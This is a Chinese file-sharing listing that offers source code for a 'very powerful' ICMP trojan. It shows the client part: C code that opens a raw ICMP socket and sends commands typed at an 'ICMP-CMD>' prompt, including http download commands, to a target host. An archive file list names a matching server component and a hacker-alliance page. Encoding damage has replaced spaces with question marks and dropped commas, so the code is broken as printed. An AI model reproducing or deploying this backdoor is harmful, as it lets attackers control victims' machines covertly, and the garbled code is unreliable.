資源簡介
VC編寫的ICMP木馬源代碼
功能非常強大

代碼片段和文件信息
#include?
#include?
#include??
#pragma?comment(lib“ws2_32.lib“)
char?SendMsg[256];
/*?The?IP?header?*/
typedef?struct?iphdr?{
unsigned?int?h_len:4;?//4位首部長度
unsigned?int?version:4;?//IP版本號,4表示IPV4
unsigned?char?tos;?//8位服務類型TOS
unsigned?short?total_len;?//16位總長度(字節)
unsigned?short?ident;?//16位標識
unsigned?short?frag_and_flags;?//3位標志位
unsigned?char?ttl;?//8位生存時間?TTL
unsigned?char?proto;?//8位協議?(TCP?UDP?或其他)
unsigned?short?checksum;?//16位IP首部校驗和
unsigned?int?sourceIP;?//32位源IP地址
unsigned?int?destIP;?//32位目的IP地址
}IpHeader;
typedef?struct?_ihdr
{
BYTE?i_type;//8位類型
BYTE?i_code;?//8位代碼
USHORT?i_cksum;//16位校驗和
USHORT?i_id;//識別號(一般用進程號作為識別號)
USHORT?i_seq;//報文序列號
ULONG?timestamp;//時間截
}?IcmpHeader;
#define?STATUS_FAILED?0xFFFF
??
#define?MAX_PACKET?2000
char?arg[1450];
#define?xmalloc(s)?HeapAlloc(GetProcessHeap()?HEAP_ZERO_MEMORY?(s))
void?fill_icmp_data(char?*?int);
USHORT?checksum(USHORT?*?int);
void?decode_resp(char?*int?struct?sockaddr_in?*);//ICMP解包函數
void?help(void);
void?usage(char?*?prog);
int?main(int?argc?char?*argv[])
{
char?*ICMP_DEST_IP;?//目標主機的IP
char?*recvbuf;
if(argc!=2)
{
usage(argv[0]);
return?0;
}
ICMP_DEST_IP=argv[1];//取得目標主機IP
WSADATA?wsaData;
SOCKET?sockRaw;
struct?sockaddr_in?destfrom;
int?datasize;
int?fromlen=sizeof(from);
char?*icmp_data;
if(WSAStartup(MAKEWORD(2?2)?&wsaData)?!=?0)
{
fprintf(stderr?“WSAStartup?failed:?%d\n“?GetLastError());
ExitProcess(STATUS_FAILED);
}
sockRaw=socket(AF_INET?SOCK_RAW?IPPROTO_ICMP);
int?timeout=1000;
setsockopt(sockRaw?SOL_SOCKET?SO_SNDTIMEO?(char?*)?&timeout?sizeof(timeout));
timeout=4000;
setsockopt(sockRaw?SOL_SOCKET?SO_RCVTIMEO?(char?*)?&timeout?sizeof(timeout));
memset(&dest0sizeof(dest));
dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP);
dest.sin_family=AF_INET;
usage(argv[0]);
__try{
for(;;){
printf(“ICMP-CMD>“);
fgets(SendMsg1024stdin);//取得命令行,保存在SendMsg數組中
if(!strcmp(SendMsg“Q\n“)||!strcmp(SendMsg“q\n“))ExitProcess(0);
if(!strcmp(SendMsg“\n“))continue;
if(!strcmp(SendMsg“H\n“)||!strcmp(SendMsg“h\n“)){help();continue;}
if(!memcmp(SendMsg“http://“7))
if(!strstr(SendMsg“-“)){printf(“\nFileName?Error.?Use?\“-FileName\“\n“);continue;}
datasize=strlen(SendMsg);
datasize+=sizeof(IcmpHeader);
printf(“ICMP?packet?size?is?%d“datasize);
icmp_data=?(char*)xmalloc(MAX_PACKET);
recvbuf=?(char?*)xmalloc(MAX_PACKET);
memset(icmp_data0?MAX_PACKET);
fill_icmp_data(icmp_data?datasize);
((IcmpHeader?*)icmp_data)->i_cksum=0;
((IcmpHeader?*)icmp_data)->i_cksum=checksum((USHORT?*)icmp_data?datasize);
int?bwrote=sendto(sockRaw?icmp_data?datasize?0?(struct?sockaddr?*)?&dest?sizeof(dest));
if?(bwrote?==?SOCKET_ERROR)
{
if?(WSAGetLastError()?==?WSAETIMEDOUT)?printf(“Timed?out\n“);
fprintf(stderr“sendto?failed:?%d\n“WSAGetLastError());
}
??if?(bwrote
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????1059??2007-04-06?20:48??使用說明.txt
?????文件???????5745??2003-08-17?15:21??client\icmpsend.cpp
?????文件???????2007??2003-08-17?15:02??client\icmpsend.dsp
?????文件????????541??2003-08-17?15:02??client\icmpsend.dsw
?????文件??????41984??2003-08-17?15:21??client\icmpsend.ncb
?????文件??????48640??2003-08-17?15:21??client\icmpsend.opt
?????文件????????870??2003-08-17?15:21??client\icmpsend.plg
?????文件??????19060??2003-08-17?15:23??server\icmpsrv.cpp
?????文件???????1999??2003-08-17?15:05??server\icmpsrv.dsp
?????文件????????539??2003-08-17?15:05??server\icmpsrv.dsw
?????文件??????27648??2004-06-30?22:17??server\icmpsrv.ncb
?????文件??????48640??2003-08-17?15:23??server\icmpsrv.opt
?????文件????????862??2003-08-17?15:23??server\icmpsrv.plg
?????文件???????1128??1999-09-29?00:13??server\StdAfx.h
?????文件???????1716??2007-02-28?11:16??華西黑客聯盟.htm
-----------?---------??----------?-----??----
???????????????202438????????????????????15
評論
共有 條評論